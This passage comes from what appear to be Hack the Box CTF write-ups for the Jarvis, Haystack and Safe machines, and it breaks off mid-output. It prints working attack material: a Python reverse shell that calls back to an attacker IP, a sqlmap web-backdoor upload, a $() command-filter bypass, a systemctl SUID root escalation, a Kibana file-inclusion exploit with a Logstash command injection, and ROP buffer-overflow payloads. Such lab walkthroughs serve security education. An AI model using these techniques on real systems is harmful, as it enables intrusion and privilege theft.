us kick it off with a handy nmap scan of the host: nmap -sS -Pn -p1- -sV -sC --open -v 10.10.10.143 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-02 15:52 EDT ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA) | 256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA) |_ 256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Stark Hotel 64999/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Site doesn't have a title (text/html). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Alright so looks like two separate web instances and an SSH session. Let's quickly look at the non-standard 64999 port. Well that was rude... Let's hope that the other port looks a bit better. After poking around and getting some inspiration for my next Iron Man based vacation I didn't notice anything too obvious. Checking the various page sources didn't reveal any mystical either so decided to turn on Burpsuite and give the site a quick spider. User exploitation We can see from both manual investigation and through Burp that there is a parameter being passed to room.php as we go through the various rooms. Decided to fire off a sqlmap and see if we get any hits. sqlmap -u \"http://10.10.10.143/room.php?cod=1\" --os-shell ___ __H__ ___ ___[,]_____ ___ ___ {1.3.4#stable} |_ -| . [\"] | .'| . | |___|_ [\"]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [17:11:24] [INFO] testing connection to the target URL [17:11:24] [INFO] checking if the target is protected by some kind of WAF/IPS [17:11:24] [INFO] testing if the target URL content is stable [17:11:25] [INFO] target URL content is stable [17:11:25] [INFO] testing if GET parameter 'cod' is dynamic [17:11:25] [INFO] GET parameter 'cod' appears to be dynamic [17:11:25] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable ... [17:11:49] [INFO] testing 'MySQL &gt;= 5.0.12 AND time-based blind' [17:11:59] [INFO] GET parameter 'cod' appears to be 'MySQL &gt;= 5.0.12 AND time-based blind' injectable ... sqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests: --- Parameter: cod (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: cod=1 AND 6194=6194 Type: time-based blind Title: MySQL &gt;= 5.0.12 AND time-based blind Payload: cod=1 AND SLEEP(5) --- [17:14:19] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian 9.0 (stretch) web application technology: Apache 2.4.25 back-end DBMS: MySQL &gt;= 5.0.12 [17:14:19] [INFO] going to use a web backdoor for command prompt [17:14:19] [INFO] fingerprinting the back-end DBMS operating system [17:14:19] [INFO] the back-end DBMS operating system is Linux ... [17:15:37] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuypql.php [17:15:38] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbdenp.php [17:15:38] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER os-shell&gt; whoami do you want to retrieve the command standard output? [Y/n/a] Y command standard output: 'www-data' os-shell&gt; Excellent! We popped ourselves a shell! www-data is not necessarily ideal, and the sqlmap shell is also not ideal, so let's get our own python shell file and upgrade a bit. root@kali:/var/www/html# cat shell1.py import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"10.10.xxx.xxx\",1337)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]); Moving it on to the host we setup a listener on our attacking machine and pull the trigger. nc -lvp 1337 Listening on [0.0.0.0] (family 2, port 1337) Connection from 10.10.10.143 48892 received! Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux 17:27:49 up 4:34, 0 users, load average: 1.09, 1.18, 1.17 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ whoami www-data Slightly better. Let's take a poke at what we see. $ cd home $ ls -latr total 12 drwxr-xr-x 3 root root 4096 Mar 2 2019 . drwxr-xr-x 23 root root 4096 Mar 3 2019 .. drwxr-xr-x 5 pepper pepper 4096 Oct 2 13:38 pepper $ cd pepper total 36 drwxr-xr-x 3 root root 4096 Mar 2 2019 .. -rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc -rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile -rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -&gt; /dev/null drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web -r--r----- 1 root pepper 33 Mar 5 2019 user.txt drwxr-xr-x 5 pepper pepper 4096 Oct 2 13:38 . drwxr-xr-x 2 pepper pepper 4096 Oct 2 13:38 .ssh $ cat user\t cat: user: No such file or directory $ cat user.txt cat: user.txt: Permission denied Doh! So close... At least we know the file is there. We now also know we need try and pivot to the user pepper. After a few minutes of poking around found something interesting with the sudo list. $ sudo -l Matching Defaults entries for www-data on jarvis: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin User www-data may run the following commands on jarvis: (pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py So we are trying to pivot to user and there just happens to be a defined rule that we can execute as that user? That seems promising. After a bit of poking through the script it seems that running simpler.py essentially pings a host that you pass as a parameter. It also looks like there is some forbidden character filters to prevent chaining commands - but that should not stop us. def exec_ping(): forbidden = ['&amp;', ';', '-', '`', '||', '|'] command = input('Enter an IP: ') for i in forbidden: if i in command: print('Got you') exit() os.system('ping ' + command) My initial thoughts were to leverage character encoding. I wanted to try and chain a ; nc -e /bin/sh 10.10.xxx.xxx 1337 on the ping command. After attempting a few different variations, including unicode and hex, without success I stumbled on to an excellent article that seemed quite in line with what I was trying to achieve. A bash command can then be encapsulated using the $() technique. In the case below, we simply call the bash binary. NetMRI-VM-AD30-5C6CE&gt; ping $(/bin/bash) So instead of trying to chain a command to the built-in ping how about encapsulating instead? Seems promising. Let's upload another python shell script and attempt to call the shell script as an encapsulated command. $ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p *********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \\| '_ \\| |/ _ \\ '__| '_ \\| | | | \\__ \\ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\\___|_(_)| .__/ \\__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $(python /tmp/shell3.py) $(python /tmp/shell3.py) Then on the receiving end: nc -lvp 4444 Listening on [0.0.0.0] (family 2, port 4444) Connection from 10.10.10.143 56170 received! $ id uid=1000(pepper) gid=1000(pepper) groups=1000(pepper) $ cd /home/pepper $ ls Web user.txt $ cat user.txt 2afa3************************** Victory. User credentials acquired. Root exploitation Now we needed to kick off a new privsec enumeration with the user pepper. No new sudo rules, however after running linprivcheck I noticed something interesting in the SUID/GUID section: $ python linprivchecker.py python linprivchecker.py ======================================================== LINUX PRIVILEGE ESCALATION CHECKER ======================================================== [*] GETTING BASIC SYSTEM INFO... [+] Kernel Linux version 4.9.0-8-amd64 (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #1 SMP Debian 4.9.144-3.1 (2019-02-19) [+] Hostname jarvis ... [+] SUID/SGID Files and Directories -rwsr-xr-x 1 root root 30800 Aug 21 2018 /bin/fusermount -rwsr-xr-x 1 root root 44304 Mar 7 2018 /bin/mount -rwsr-xr-x 1 root root 61240 Nov 10 2016 /bin/ping -rwsr-x--- 1 root pepper 174520 Feb 17 2019 /bin/systemctl -rwsr-xr-x 1 root root 31720 Mar 7 2018 /bin/umount -rwsr-xr-x 1 root root 40536 May 17 2017 /bin/su .... Notice /bin/systemctl ? Looks like we have the ability to run it as pepper and since it has SUID set we may be able to exploit it to pivot into root. Quickly searching around I found a reference I will definitely keep handy moving forward - gtfobins. Unfortunately the shell I had on the host was not playing nice with this POC so had to take a tangent and get my shell upgraded first. Since we didn't know pepper's password we couldn't just ssh in as the user with the password, however we could do something that would still allow us to properly log in - ssh keys! root@kali:~/.ssh# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): ... Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. root@kali:~/.ssh# cat id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAA...IomvNOR1FcXBuOItl root@kali Then all we needed to do was insert the entry on the host. $ pwd /home/pepper/.ssh $ echo \"ssh-rsa AAAAB3NzaC1yc2EAA...IomvNOR1FcXBuOItl root@kali\" &gt; authorized_keys $ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAA...IomvNOR1FcXBuOItl root@kali And just like that we are able to get into the host through normal ssh: root@kali:~/.ssh# ssh pepper@10.10.10.143 The authenticity of host '10.10.10.143 (10.10.10.143)' can't be established. ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.10.143' (ECDSA) to the list of known hosts. Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 pepper@jarvis:~$ id uid=1000(pepper) gid=1000(pepper) groups=1000(pepper) Now that we have a proper shell we can turn our attention back to systemctl. As gtfobins states if systemctl \"runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor\". They provide a POC that while it didn't work earlier, let's give it a try now that we have a proper shell. Similar to my previous post I wanted to keep it simple and go straight for the prize. This technique could be leveraged to call another reverse shell script that you previously uploaded to pop a root shell as well. pepper@jarvis:/tmp$ TF=$(mktemp).service pepper@jarvis:/tmp$ echo '[Service] &gt; Type=oneshot &gt; ExecStart=/bin/sh -c \"cat /root/root.txt &gt; /tmp/output1\" &gt; [Install] &gt; WantedBy=multi-user.target' &gt; $TF &gt; pepper@jarvis:/tmp$ systemctl link $TF Created symlink /etc/systemd/system/tmp.foyNai9pQt.service → /tmp/tmp.foyNai9pQt.service. pepper@jarvis:/tmp$ systemctl enable --now $TF Created symlink /etc/systemd/system/multi-user.target.wants/tmp.foyNai9pQt.service → /tmp/tmp.foyNai9pQt.service. pepper@jarvis:/tmp$ cat output1 d41d8*********************** Victory! With that Jarvis is in the books. Post Root Cleanup I wouldn't be a good fellow hacker if I just left the root flag laying around like that. Once completed I reran the systemcl exploit changing the command to clean up after myself. pepper@jarvis:/tmp$ TF=$(mktemp).service pepper@jarvis:/tmp$ echo '[Service] &gt; Type=oneshot &gt; ExecStart=/bin/sh -c \"rm /tmp/output1\" &gt; [Install] &gt; WantedBy=multi-user.target' &gt; $TF pepper@jarvis:/tmp$ systemctl link $TF Created symlink /etc/systemd/system/tmp.s6W7MgAVfQ.service → /tmp/tmp.s6W7MgAVfQ.service. pepper@jarvis:/tmp$ systemctl enable --now $TF Created symlink /etc/systemd/system/multi-user.target.wants/tmp.s6W7MgAVfQ.service → /tmp/tmp.s6W7MgAVfQ.service. pepper@jarvis:/tmp$ ls -latr Thanks folks. Until next time." }, { "title": "Hack the Box - Haystack", "url": "/hack-the-box/2019/11/02/htb-machine-haystack/", "categories": "hack-the-box", "tags": "htb, elasticsearch, kibana, logstash", "date": "2019-11-02 08:00:00 -0400", "content": "Introduction Haystack is classified as an easy difficulty machine on HTB. An ELK (Elasticsearch, Logstash, Kibana) based machine it offered me a chance to dig into the logging technology. I thought this was machine was particularly well designed and allowed me to go from simply knowing what ELK is to going through each part of the stack and working through vulnerabilities for each component. Initial Recon As usual, let's start with an nmap enumartion to see what we are working with. nmap -sV -sT -sC 10.10.10.115 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-05 19:27 EDT Nmap scan report for 10.10.10.115 Host is up (0.65s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA) | 256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA) |_ 256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519) 80/tcp open http nginx 1.12.2 |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (text/html). 9200/tcp open http nginx 1.12.2 | http-methods: |_ Potentially risky methods: DELETE |_http-server-header: nginx/1.12.2 |_http-title: Site doesn't have a title (application/json; charset=UTF-8). Port 9200 seems interesting. It looks like it's a web-service of some kind so let's open it up and take a look. Elasticsearch eh? Even have the version that is running. I'll table that for later if needed. I'll fully admit that while I knew what elasticsearch was I had absolutely no idea how to work with it prior to this engagement. After doing a bit searching around and getting the hang of some basics I was able to take get search and queries working. Discovered the quotes index and found some interesting information. User exploitation At this point I hit my first roadblock. I could surmise from _id that there was data I was not being shown with the query. After a bit more reading I believe it was related to the max_score and score attributes. A bit more beating my head against the queries and I took a step back. A quick search for \"how to dump all data from elasticsearch\" led me to a useful tool - es2csv. After getting everything setup I fired it off and managed to dump 1254 entries. Wow! That's a lot more than what I originally found manually. es2csv -q '*' -u http://10.10.10.115:9200 -i '*' --debug -o es-output.csv Using these indices: *. Query[Lucene]: *. Output field(s): _all. Sorting by: . Found 1254 results. ... Run query [#########################################################] [1254/1254] [100%] [0:00:00] [Time: 0:00:00] [ 1.4 Kidocs/s] Write to csv [#####################################################] [1254/1254] [100%] [0:00:00] [Time: 0:00:00] [ 9.9 Kilines/s] Digging through the output file I don't see much useful information. It definitely doesn't help I don't speak Spanish fluently and I didn't think that translating the entire dump would be part of the required steps. Ok time to take another step back. During initial enumeration I did quickly take a look at port 80. All there was is a jpg and quick look at the source didn't turn anything up. Considering the box is called Haystack and the picture was ominously named needle.jpg I figured it warranted a closer look. Sure enough within 30 seconds I find something very interesting. Which after a quick decode and google translate we get something that makes a little more sense. echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 -d la aguja en el pajar es \"clave\" the needle in the haystack is \"key\" So the needle is \"key\" eh? After parsing through the csv dump grepping for various \"key\"-words, I ended up going more literal and it paid off. grep clave es-output.csv ,,,,,,,,,,,,,,,,,,\"Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=\" ,,,,,,,,,,,,,,,,,,Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 -d pass: spanish.is.key echo dXNlcjogc2VjdXJpdHkg | base64 -d user: security That's more like it. From earlier we saw that ssh was open so let's give it a try. ssh security@10.10.10.115 security@10.10.10.115's password: Last login: Sun Oct 6 14:54:31 2019 from 10.10.15.116 [security@haystack ~]$ id uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [security@haystack ~]$ pwd /home/security [security@haystack ~]$ ls user.txt [security@haystack ~]$ cat user.txt 04d18b********************* Alright user down! Root exploitation With our new access I took a poke around the box for the usual suspects. Unfortunately security had quite limited access on the host. I was able to see one interesting thing as far as listening ports. [-] Listening TCP: State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 *:80 *:* LISTEN 0 128 *:9200 *:* LISTEN 0 128 *:22 *:* LISTEN 0 128 127.0.0.1:5601 *:* Listening only on 127.0.0.1 seems intriguing as an avenue. Knowing that elasticsearch was installed on the box I searched around and it did not take much time to get to - this article. The default settings configure Kibana to run on localhost:5601. To change the host or port number, or connect to Elasticsearch running on a different machine, you’ll need to update your kibana.yml file. You can also enable SSL and set a variety of other options. Finally, environment variables can be injected into configuration using ${MY_ENV_VAR} syntax. We know the version from our initial enumeration. After attempting to glean some information from the port unsuccessfully I stumbled on to CVE-2018-17246. Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system. We just happen to have 6.4.2 running, check, and we have access to the console api, double check. We get the reverse shell file over to /tmp where we have write permissions. With everything in place, we set up a listener and kick off the exploit. [security@haystack tmp]$ curl -XGET 'http://127.0.0.1:5601/api/console/api_server?s5602_version=@@SENSE_VERSION&amp;apis=../../../../../../.../../../../../../../../tmp/pad.js' ---- $nc -lvp 1337 Listening on [0.0.0.0] (family 2, port 1337) Connection from 10.10.10.115 41274 received! which python /usr/bin/python python -c 'import pty; pty.spawn(\"/bin/bash\")' bash-4.2$ id id uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0 bash-4.2$ User pivot, done. Now the question of the day - what do we have access to as kibana that we didn't as security. After several various dead ends I found something worth taking a deeper look. bash-4.2$ pwd /etc/logstash/conf.d bash-4.2$ ls -latr ls -latr total 16 drwxr-xr-x. 3 root root 183 Jun 18 22:15 .. -rw-r-----. 1 root kibana 131 Jun 20 10:59 filter.conf -rw-r-----. 1 root kibana 186 Jun 24 08:12 input.conf -rw-r-----. 1 root kibana 109 Jun 24 08:12 output.conf drwxrwxr-x. 2 root kibana 72 Oct 6 15:35 . -rw-r--r--. 1 kibana kibana 102 Oct 6 15:35 ok bash-4.2$ cat filter.conf\t filter { \tif [type] == \"execute\" { \t\tgrok { \t\t\tmatch =&gt; { \"message\" =&gt; \"Ejecutar\\s*comando\\s*:\\s+%{GREEDYDATA:comando}\" } \t\t} \t} } bash-4.2$ cat input.conf\t input { \tfile { \t\tpath =&gt; \"/opt/kibana/logstash_*\" \t\tstart_position =&gt; \"beginning\" \t\tsincedb_path =&gt; \"/dev/null\" \t\tstat_interval =&gt; \"10 second\" \t\ttype =&gt; \"execute\" \t\tmode =&gt; \"read\" \t} } bash-4.2$ cat output.conf\t output { \tif [type] == \"execute\" { \t\tstdout { codec =&gt; json } \t\texec { \t\t\tcommand =&gt; \"%{comando} &amp;\" \t\t} \t} } By itself this wasn't that meaningful, however the type =&gt; \"execute\" is where they got me interested. I followed through and looked at /opt/kibana to see how deep the hole went. bash-4.2$ pwd /opt/kibana bash-4.2$ ls -l ls -l total 8 -rwxrwxrwx. 1 kibana kibana 33 Oct 6 14:56 logstash_aa -rw-r--r--. 1 kibana kibana 33 Oct 6 14:56 logstash_python_shell bash-4.2$ cat logstash_python_shell Ejecutar comando: /tmp/pshell.py Ok so it looks like it is pointing to script and based on my understanding at this point it seems like it would be executed. Very, very interesting. After spending some time reading this Logstash reference I started understanding how it all worked together. Based on input.conf - logstash checks /opt/kibana every 10 seconds for files starting with logstash_* Based on filter.conf - if the contents of these logstash_* files match the Grok filter of \"Ejecutar\\s*comando\\s*:\\s+%{GREEDYDATA:comando}\" then... Based on output.conf - execute the command that was supplied as comando With this understanding let's add our reverse shell to /tmp and create our own logstash_ entry in /opt/kibana and setup the listener locally. root@kali:~/Desktop/HTB/Haystack# nc -lvp 11337 Listening on [0.0.0.0] (family 2, port 11337) Connection from 10.10.10.115 57164 received! sh: no hay control de trabajos en este shell sh-4.2# id uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0 sh-4.2# cat /root/root.txt 3f5f72*********************** And with that Haystask is in the books. Thanks folks. Until next time." }, { "title": "Hack the Box - Safe", "url": "/hack-the-box/2019/10/26/htb-machine-safe/", "categories": "hack-the-box", "tags": "htb, buffer-overflow, rop, keeppass, john-the-ripper", "date": "2019-10-26 10:00:00 -0400", "content": "Introduction Marked as easy, Safe is a contentious box from HTB requiring a custom developed ROP (return-oriented programming) exploit tied into cracking a KeepPass database. Personally I absolutely loved the box from the perspective of digging into ROP and practicing the techniques. The box itself however was quite barren and could have definitely used a bit more \"makeup\" to get away from the CTF-like vibes. If you have a base in binary exploitation but haven't dived into ROP exploits before this is a great box to make that jump. The Ellingson box was then a good next-step as it took the same ROP concepts and required use of ret2lib which wasn't required here. Initial Recon Per normal kicking off the recon phase with an nmap query. root@kali:~/Desktop/HTB/Safe# nmap -sS -Pn -p1- -sV -sC --open -v 10.10.10.147 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-13 14:27 EDT ... PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA) | 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA) |_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Apache2 Debian Default Page: It works 1337/tcp open waste? | fingerprint-strings: | DNSStatusRequestTCP: | 14:28:48 up 1:13, 0 users, load average: 0.01, 0.03, 0.05 | DNSVersionBindReqTCP: | 14:28:43 up 1:13, 0 users, load average: 0.02, 0.03, 0.06 | GenericLines: | 14:28:32 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 | What do you want me to echo back? | GetRequest: | 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 | What do you want me to echo back? GET / HTTP/1.0 | HTTPOptions: | 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 | What do you want me to echo back? OPTIONS / HTTP/1.0 | Help: | 14:28:53 up 1:13, 0 users, load average: 0.01, 0.02, 0.05 | What do you want me to echo back? HELP | Kerberos, SSLSessionReq, TLSSessionReq: | 14:28:53 up 1:13, 0 users, load average: 0.01, 0.02, 0.05 | What do you want me to echo back? | NULL: | 14:28:32 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 | RPCCheck: | 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 | RTSPRequest: | 14:28:38 up 1:12, 0 users, load average: 0.02, 0.03, 0.06 |_ What do you want me to echo back? OPTIONS / RTSP/1.0 1 service unrecognized despite returning data. Already this seems interesting with port 1337. What happens when we go to the page manually Hum...that output seems suspciously like the output of uptime. So this should mean that at somepoint during the call it's executing the command and returning the result. Let's see if we can fuzz this quick and dirty. So when passing 120 characters to the call it still prints out the uptime result, however seemingly the execution flow afterwards breaks. I spent a bit of time attempting different inputs however all I was able to glean was the difference with &gt;=120 characters. Decided to go back to the drawing board and look at port 80. Looks like just a default apache page - nothing special here. Or is there... Sneaky... I went to http://10.10.10.147/myapp and grabed a copy of the myapp program. Great now it's definitely looking more like a RE/Binex based challenge. User exploitation First thing I do is open up Ghidra to try and go through the source code decompile. The program itself seems quite simplistic. Now that we understand the logic flow let's replicate the overflow with a debugger attached and see what we can find. While we're at it let's also take a quick look at the security settings of the app. With NX set we know we won't be able to push our own code to the Stack and have it executed so we will need to look for a different avenue. Continuing with the execution flow we can see that we completely overwrite $rbp. A quick look online gives a good breakdown on various register purposes - %rbp points to the current stack frame, %rsp points to the top of the stack. With our ability to overwrite %rbp we should be able to leverage that to hijack execution flow. Let's get a bit more details using pattern create. $rsp : 0x00007fffffffe188 → \"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]\" $rbp : 0x3964413864413764 (\"d7Ad8Ad9\"?) root@kali:~/Desktop/HTB/Safe# /usr/bin/msf-pattern_offset -q 0x3964413864413764 [*] Exact match at offset 112 root@kali:~/Desktop/HTB/Safe# /usr/bin/msf-pattern_offset -q Ae0A [*] Exact match at offset 120 Ok so the first 112 bytes are garbage that fills up the gets() array, the next 8 bytes will overwrite $rbp and from 120 on looks like we're overwriting the stack. Enter the ROP Firstly, what is ROP? Good old wikipedia to the rescue. In this technique, an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine's memory, called \"gadgets\". Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks. Essentially we are trying to pass memory addresses to the stack that when sequentially executed will perform actions we want. At the end of the execution flow of myapp there is a leave/ret combo. 0x4011ab &lt;main+76&gt; leave 0x4011ac &lt;main+77&gt; ret Looking deeper into code theory I found that with leave - \"...the old frame pointer is then popped from the stack...\" and ret - \"Transfers program control to a return address located on the top of the stack\". Since we have control of the stack we should be able leverage this to load the stack with function addresses we want to execute. Thankfully there is a system() call directly in the main function. We won't have to use any advanced techniques, we only need to reference the address of the function directly - 0x0040116e. Padding the address appropriately for 64 bit, let's give it a shot and check in the debugger. python -c 'print \"A\"*120 + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"C\"*100' &gt; specific5.txt Excellent. We see the system() call at the top of the stack and our breakpoint at myapp's return 0; show's the execution flow is being redirected to system() instead of exiting. Now this in itself wasn't particularly useful. I wanted to see how /usr/bin/uptime was being passed to the call. I set up a breakpoint on the initial call and compared between this one and my forced call at the end. Initial system call: system@plt ( $rdi = 0x0000000000402008 → \"/usr/bin/uptime\", $rsi = 0x00007fffffffe268 → 0x00007fffffffe549 → \"/root/Desktop/HTB/Safe/myapp\" ) My system call: system@plt ( $rdi = 0x0000000000000000, $rsi = 0x0000000000405260 → \"What do you want me to echo back? AAAAAAAAAAAAAAAA[...]\" ) Alright, so I need to find a gadget that can overwrite $rdi to something of my choosing. Going back to the ghidra decompile I found a handy function built in to the app. Despite test() never being called, it does provide us the appropriate gadgets necessary to update $rdi. ************************************************************** * FUNCTION * ************************************************************** undefined test() undefined AL:1 &lt;RETURN&gt; test XREF[3]: Entry Point(*), 00402060, 00402108(*) 00401152 55 PUSH RBP 00401153 48 89 e5 MOV RBP,RSP 00401156 48 89 e7 MOV RDI,RSP 00401159 41 ff e5 JMP R13 Now there is one extra complication here. While test()moves the value of $rsp into $rdi like we need, it then jumps to the value of $r13 which is currently/will be empty at the moment. We need to chain this call with another gadget that also pops an address off the stack (which we control) into $r13. GDB has a nice ropper function for this exact purpose. Ok so there are three pops as part of this gadget. We need to take that into consideration and include fluff to ensure we get the right address into r13 and the rest our stack isn't adversely affected. Thinking about this logically we want to form the exploit as follows: \"A\"*120 + #fluff until the start of stack \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + # pop r13; pop r14; pop r15; ret; \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + #system() - r13 \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + #system() - r14 \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + #system() - r15 \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + # test() \"/bin/sh \" + #command we want to execute \"C\"*100 #rest of fluff Ok, let's put it together and see how it goes: python -c 'print\"A\"*120 + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"/bin/sh \" + \"C\"*100' &gt; custom5.txt Wait a minute, that doesn't look right... It seems when attempting to execute it is pulling the first 8 characters before the stack in addition to what is on the stack. Essentially bytes 112-120, or what we overwrite into $rbp. Ok we can work with that. Let's adjust the exploit. python -c 'print \"A\"*112 + \"/bin/sh \" + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"/bin/sh \" + \"C\"*100' &gt; custom6.txt This also didn't work. But knowing where to look we took a look at our system() call and see what $rdi looks like. system@plt ( $rdi = 0x00007fffffffe1a8 → \"/bin/sh /bin/sh CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]\", $rsi = 0x0000000000405260 → \"What do you want me to echo back? AAAAAAAAAAAAAAAA[...]\" ) Ok, we are calling /bin/sh properly. Now we need to replace that second instance with the command we want to run and also terminate the command to avoid chaining the rest of the stack. I forgot to terminate on the next attempt, however that irrelevant as I managed to get my test command executed! At this point I was over the moon. python -c 'print \"A\"*112 + \"/bin/sh;\" + \"\\x06\\x12\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x6e\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"\\x52\\x11\\x40\\x00\\x00\\x00\\x00\\x00\" + \"/bin/sh whoami\" + \"C\"*100' &gt; custom9.txt root@kali:~/Desktop/HTB/Safe# cat custom9.txt | ./myapp 20:47:27 up 6:24, 1 user, load average: 0.19, 0.19, 